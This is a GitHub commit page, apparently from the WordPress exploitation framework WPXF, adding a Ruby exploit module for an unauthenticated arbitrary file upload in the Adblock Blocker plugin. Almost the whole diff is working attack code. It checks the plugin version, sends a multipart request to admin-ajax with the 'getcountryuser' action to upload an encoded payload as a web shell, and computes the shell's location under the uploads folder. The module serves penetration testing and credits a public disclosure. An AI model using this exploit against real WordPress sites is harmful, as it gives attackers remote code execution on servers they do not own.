Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit da388b1

Browse files
committed
Add Adblock Blocker shell upload module
1 parent 0bafc4c commit da388b1

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
class Wpxf::Exploit::AdblockBlockerShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Adblock Blocker Unauthenticated Shell Upload',
9+
author: [
10+
'White Fir Design', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8592'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/08/01/arbitrary-file-upload-vulnerability-in-adblock-blocker/']
16+
],
17+
date: 'Aug 01 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('addblockblocker')
23+
end
24+
25+
def uploader_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_field('action', 'getcountryuser')
32+
builder.add_file_from_string('popimg', payload.encoded, payload_name)
33+
builder
34+
end
35+
36+
def uploaded_payload_location
37+
normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), payload_name)
38+
end
39+
end

0 commit comments

Comments
 (0)